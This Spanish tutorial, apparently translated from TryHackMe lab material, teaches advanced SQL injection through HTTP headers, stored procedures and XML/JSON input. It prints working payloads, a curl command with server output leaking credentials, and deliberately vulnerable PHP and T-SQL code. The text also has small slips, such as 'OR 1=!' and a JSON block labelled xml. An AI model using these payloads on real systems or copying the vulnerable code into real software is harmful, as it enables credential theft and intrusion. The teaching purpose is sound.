La inyección SQL avanzada involucra un rango de métodos sofisticados que van más allá de ataques básicos. Aquí hay algunas técnicas avanzadas importantes que los pentesters deberían saber que existen:


HTTP Header Injection

Los headers HTTP pueden transportar input del usuario, lo que puede ser usado en queries SQL en el lado del servidor. Si estos inputs no son sanitizados, puede llevar a la inyección SQL. La técnica involucra manipular headers HTTP (como User-Agent, Referer o X-Forwarded-For) para inyectar comandos SQL. El servidor puede registrar estos headers para usarlos en queries SQL. Por ejemplo, un header User-Agent malicioso puede verse como User-Agent: ' OR 1=!; --. Si el servidor incluye el header User-Agent en una query SQL sin sanitizarla, puede resultar en una SQLi.

En este ejemplo, una aplicación web registra los headers User-Agent en una tabla llamada logs en la base de datos. La aplicación ofrece un endpoint en http://IP/httpagent/ que muestra todas las entradas registradas de la tabla logs. Cuando un usuario visita la página, su navegador manda un header User-Agent, el cual identifica el navegador y sistema operativo. Si este header se introduce en una tabla SQL con propósito de registro sin sanitizar, puede tener consecuencias devastadoras.

Dado el endpoint, un atacante puede intentar inyectar código SQL en el header User-Agent para explotar las vulnerabilidades de inyección SQL. Por ejemplo, configurando el header User-Agent a un valor malicioso como User-Agent: ' UNION SELECT username, password FROM user; --.

Aquí está el código del lado del servidor que inserta los logs:

php
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$insert_sql = "INSERT INTO logs (user_Agent) VALUES ('$userAgent')";
if ($conn->query($insert_sql) === TRUE) {
    echo "<p class='text-green-500'>New logs inserted successfully</p>";
} else {
    echo "<p class='text-red-500'>Error: " . $conn->error . " (Error Code: " . $conn->errno . ")</p>";
}

$sql = "SELECT * FROM logs WHERE user_Agent = '$userAgent'";
..
... 

El valor del User-Agent es insertado en la tabla logs usando el statement de SQL, INSERT. Si la inserción resulta exitosa, un mensaje de éxito se muestra. Un mensaje de error se muestra si falla.

Other Techniques

Preparando el Payload

Prepararemos e inyectaremos un payload SQL en el header User-Agent para demostrar cómo la inyección SQL puede ser explotada mediante headers HTTP. Nuestro payload será ' UNION SELECT username, password FROM user;#. Este payload está diseñado para:

  • Cerrar la string literal existente: La comilla inicial ('), se usa para cerrar la string existente en la query SQL.
  • Inyectar un statement UNION SELECT: La parte UNION SELECT username, password FROM user; del payload se usa para recuperar las columnas de nombre de usuario y contraseña de la tabla user.
  • Comentar el resto de la query: El carácter # se usa para comentar el resto de la query SQL asegurando que cualquier código SQL que siga sea ignorado.

Necesitamos mandar este payload como parte del header User-Agent en nuestra petición HTTP para inyectar este payload, lo cual podría ser hecho usando herramientas como BurpSuite o cURL. Usaremos cURL.

bash
user@tryhackme$ curl -H "User-Agent: ' UNION SELECT username, password FROM user; # " http://10.65.188.152/httpagent/
html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SQL Injection </title>
 rel="stylesheet">
</head>
<body class="bg-gray-100">
    <div class="container mx-auto p-8">
        <h1 class="text-4xl font-bold mb-8 text-center">HTTP Logs</h1>
        <div class="bg-white p-6 rounded-lg shadow-lg">

<p class='text-gray-600 text-sm mb-4'>Generated SQL Query: <span class='text-red-500'>SELECT * FROM logs WHERE user_Agent = '' UNION SELECT username, password FROM user; #'</span></p><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>bob</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'>bob@123</span></p></div><div class='p-4 bg-gray-100 rounded shadow mb-4'><p class='font-bold'>id: <span class='text-gray-700'>attacker</span></p><p class='font-bold'>user_Agent: <span class='text-gray-700'>tesla</span></p></div>
        </div>
    </div>
</body>
</html>

La respuesta del servidor será mostrada en la terminal. Si la SQLi es exitosa verás la información extraída en la respuesta.


Exploiting Stored Procedures

Los procedimientos almacenados son rutinas en la base de datos que pueden realizar varias operaciones como insertar, actualizar o pedir información. Mientras que pueden mejorar la eficiencia y asegurar consistencia, también pueden ser vulnerables a inyecciones SQL si no se manejan adecuadamente.

process flow of stored procedure

Los procedimientos almacenados son statements SQL precompilados que pueden ser ejecutados como una unidad única. Se guardan en la base de datos y pueden ser llamados por aplicaciones para realizar tareas específicas. Pueden aceptar parámetros, los cuales los hacen flexibles y poderosos. Sin embargo, si estos parámetros no se sanitizan adecuadamente, pueden introducir vulnerabilidades de inyección SQL.

Considera un procedimiento almacenado diseñado para recuperar información del usuario basado en un nombre de usuario:

sql
CREATE PROCEDURE sp_getUserData
    @username NVARCHAR(50)
AS
BEGIN
    DECLARE @sql NVARCHAR(4000)
    SET @sql = 'SELECT * FROM users WHERE username = ''' + @username + ''''
    EXEC(@sql)
END

En este ejemplo, el procedimiento almacenado concatena el parámetro @username en una query SQL dinámica. Este acercamiento es vulnerable a SQLi porque el input no está sanitizado.


XML and JSON Injection

Las aplicaciones que parsean datos XML o JSON y usan esa información parseada en queries SQL pueden ser vulnerables a la inyección SQL si no sanitizan los inputs adecuadamente. La inyección XML y JSON involucra inyectar información maliciosa en estructuras XML o JSON que son usadas después en queries SQL. Esto puede ocurrir si la aplicación usa directamente valores parseados en statements SQL.

xml
{
  "username": "admin' OR '1'='1--",
  "password": "password"
}

Si la aplicación usa los valores directamente en una query como SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- AND password = 'password', podría resultar en una inyección.